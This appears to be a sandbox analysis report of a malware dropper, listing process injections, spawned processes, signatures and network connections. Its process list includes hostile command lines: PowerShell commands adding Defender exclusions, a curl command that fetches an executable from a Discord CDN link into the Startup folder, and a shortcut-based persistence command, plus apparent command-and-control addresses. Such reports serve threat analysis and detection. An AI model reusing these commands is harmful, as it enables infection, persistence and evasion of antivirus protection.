PID 2712 wrote to memory of 1040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 2712 wrote to memory of 1040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 1040 wrote to memory of 1832 N/A C:\Users\Admin\Desktop\a\SKOblik.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 1040 wrote to memory of 1832 N/A C:\Users\Admin\Desktop\a\SKOblik.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 1040 wrote to memory of 1832 N/A C:\Users\Admin\Desktop\a\SKOblik.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 1832 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 1832 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 1832 wrote to memory of 3348 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
PID 3348 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Windows\SysWOW64\cmd.exe
PID 3348 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Windows\SysWOW64\cmd.exe
PID 3348 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2856 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2712 wrote to memory of 2856 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2712 wrote to memory of 2856 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2712 wrote to memory of 2596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2712 wrote to memory of 2596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2712 wrote to memory of 2596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2712 wrote to memory of 4596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 2712 wrote to memory of 4596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 2712 wrote to memory of 4596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 4596 wrote to memory of 2276 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp
PID 4596 wrote to memory of 2276 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp
PID 4596 wrote to memory of 2276 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp
PID 2276 wrote to memory of 1236 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2276 wrote to memory of 1236 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2276 wrote to memory of 1236 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 2276 wrote to memory of 468 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 2276 wrote to memory of 468 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 2276 wrote to memory of 468 N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 1236 wrote to memory of 848 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1236 wrote to memory of 848 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1236 wrote to memory of 848 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2712 wrote to memory of 980 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2712 wrote to memory of 980 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2712 wrote to memory of 980 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2712 wrote to memory of 1816 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2712 wrote to memory of 1816 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2712 wrote to memory of 1816 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2712 wrote to memory of 1168 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2712 wrote to memory of 1168 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2712 wrote to memory of 1168 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2712 wrote to memory of 4684 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 2712 wrote to memory of 4684 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 2712 wrote to memory of 1096 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2712 wrote to memory of 1096 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2712 wrote to memory of 1096 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2712 wrote to memory of 1028 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2712 wrote to memory of 1028 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2712 wrote to memory of 1028 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2712 wrote to memory of 4388 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 2712 wrote to memory of 4388 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 2712 wrote to memory of 4388 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 4388 wrote to memory of 3964 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe
PID 4388 wrote to memory of 3964 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe
PID 4388 wrote to memory of 3964 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe
PID 3964 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe
PID 3964 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe
PID 3964 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe
PID 1096 wrote to memory of 2504 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1096 wrote to memory of 2504 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1096 wrote to memory of 2504 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1096 wrote to memory of 2504 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 1096 wrote to memory of 2504 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe

cURL User-Agent

Description Indicator Process Target
HTTP User-Agent header curl/8.7.1 N/A N/A

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Desktop\a\SKOblik.exe

"C:\Users\Admin\Desktop\a\SKOblik.exe"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe" restart

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c ver

C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe

"C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe"

C:\Users\Admin\Desktop\a\Guide2018.exe

"C:\Users\Admin\Desktop\a\Guide2018.exe"

C:\Users\Admin\Desktop\a\stories.exe

"C:\Users\Admin\Desktop\a\stories.exe"

C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp

"C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp" /SL5="$30624,5532893,721408,C:\Users\Admin\Desktop\a\stories.exe"

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" pause shine-encoder_11152

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe

"C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 pause shine-encoder_11152

C:\Users\Admin\Desktop\a\wwbizsrvs.exe

"C:\Users\Admin\Desktop\a\wwbizsrvs.exe"

C:\Users\Admin\Desktop\a\msf.exe

"C:\Users\Admin\Desktop\a\msf.exe"

C:\Users\Admin\Desktop\a\msf443.exe

"C:\Users\Admin\Desktop\a\msf443.exe"

C:\Users\Admin\Desktop\a\client.exe

"C:\Users\Admin\Desktop\a\client.exe"

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\op.exe

"C:\Users\Admin\Desktop\a\op.exe"

C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe

.\installer.exe

C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe

"C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yuko1bw-.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB598.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB597.tmp"

C:\Users\Admin\Desktop\a\babababa.exe

"C:\Users\Admin\Desktop\a\babababa.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\67FF.tmp\6800.tmp\6801.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\Desktop\a\lum250.exe

"C:\Users\Admin\Desktop\a\lum250.exe"

C:\Users\Admin\Desktop\a\Beefy.exe

"C:\Users\Admin\Desktop\a\Beefy.exe"

C:\Users\Admin\Desktop\a\solandra.exe

"C:\Users\Admin\Desktop\a\solandra.exe"

C:\Users\Admin\Desktop\a\mk.exe

"C:\Users\Admin\Desktop\a\mk.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3184 -ip 3184

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 316

C:\Users\Admin\Desktop\a\random.exe

"C:\Users\Admin\Desktop\a\random.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\cmd.exe

cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 1

C:\Users\Admin\AppData\Local\enters.exe

C:\Users\Admin\AppData\Local\enters.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ueji.lnk'); $s.TargetPath = 'C:\Users\Admin\Desktop\a\mk.exe'; $s.Save()"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2124 -ip 2124

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 1456

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 checkappexec.microsoft.com udp
GB 13.87.96.169:443 checkappexec.microsoft.com tcp
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.2.49:443 urlhaus.abuse.ch tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 49.2.101.151.in-addr.arpa udp
US 8.8.8.8:53 169.96.87.13.in-addr.arpa udp
US 8.8.8.8:53 11.244.41.31.in-addr.arpa udp
US 8.8.8.8:53 102.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 mininews.kpzip.com udp
CN 60.220.179.199:80 mininews.kpzip.com tcp
CN 36.249.64.101:80 mininews.kpzip.com tcp
CN 113.201.158.118:80 mininews.kpzip.com tcp
CN 122.190.64.38:80 mininews.kpzip.com tcp
CN 116.162.169.61:80 mininews.kpzip.com tcp
CN 58.144.248.111:80 mininews.kpzip.com tcp
US 8.8.8.8:53 www.bkzj.wang udp
HK 47.243.125.164:80 www.bkzj.wang tcp
US 8.8.8.8:53 164.125.243.47.in-addr.arpa udp
US 8.8.8.8:53 wz.3911.com udp
CN 120.26.3.86:80 wz.3911.com tcp
US 8.8.8.8:53 dcwblida.dz udp
DZ 41.111.143.136:443 dcwblida.dz tcp
US 8.8.8.8:53 136.143.111.41.in-addr.arpa udp
US 8.8.8.8:53 tcp
RU 176.113.115.203:80 176.113.115.203 tcp
US 8.8.8.8:53 203.115.113.176.in-addr.arpa udp
NL 81.19.137.119:443 tcp
US 8.8.8.8:53 119.137.19.81.in-addr.arpa udp
KR 27.102.130.160:801 27.102.130.160 tcp
US 8.8.8.8:53 160.130.102.27.in-addr.arpa udp
KR 27.102.130.160:801 27.102.130.160 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
JP 64.176.38.237:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 244.163.226.46.in-addr.arpa udp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 46.226.244.0:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
JP 64.176.38.237:8139 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
JP 64.176.38.237:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
US 8.8.8.8:53 73.239.69.13.in-addr.arpa udp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 store6.gofile.io udp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 31.14.70.249:443 store6.gofile.io tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 file-eu-par-1.gofile.io udp
FR 202.165.69.5:443 file-eu-par-1.gofile.io tcp
US 8.8.8.8:53 249.70.14.31.in-addr.arpa udp
US 8.8.8.8:53 5.69.165.202.in-addr.arpa udp
DE 87.120.84.39:80 87.120.84.39 tcp
US 8.8.8.8:53 t.kks8.xyz udp
KR 27.102.118.246:80 t.kks8.xyz tcp
US 8.8.8.8:53 39.84.120.87.in-addr.arpa udp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 cdn.download.pdfforge.org udp
NL 188.240.13.6:443 cdn.download.pdfforge.org tcp
KR 27.102.130.176:8443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 246.118.102.27.in-addr.arpa udp
US 8.8.8.8:53 6.13.240.188.in-addr.arpa udp
US 8.8.8.8:53 files.catbox.moe udp
RU 31.41.244.11:80 31.41.244.11 tcp
US 108.181.20.35:443 files.catbox.moe tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 35.20.181.108.in-addr.arpa udp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 flow.lavasoft.com udp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 130.148.16.104.in-addr.arpa udp
US 104.16.148.130:80 flow.lavasoft.com tcp
US 104.16.148.130:80 flow.lavasoft.com tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 flow.lavasoft.com udp
GB 46.226.163.244:443 tcp
US 104.16.148.130:443 flow.lavasoft.com tcp
US 8.8.8.8:53 sos.adaware.com udp
US 104.16.213.94:443 sos.adaware.com tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
US 104.16.213.94:443 sos.adaware.com tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 46.226.244.0:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
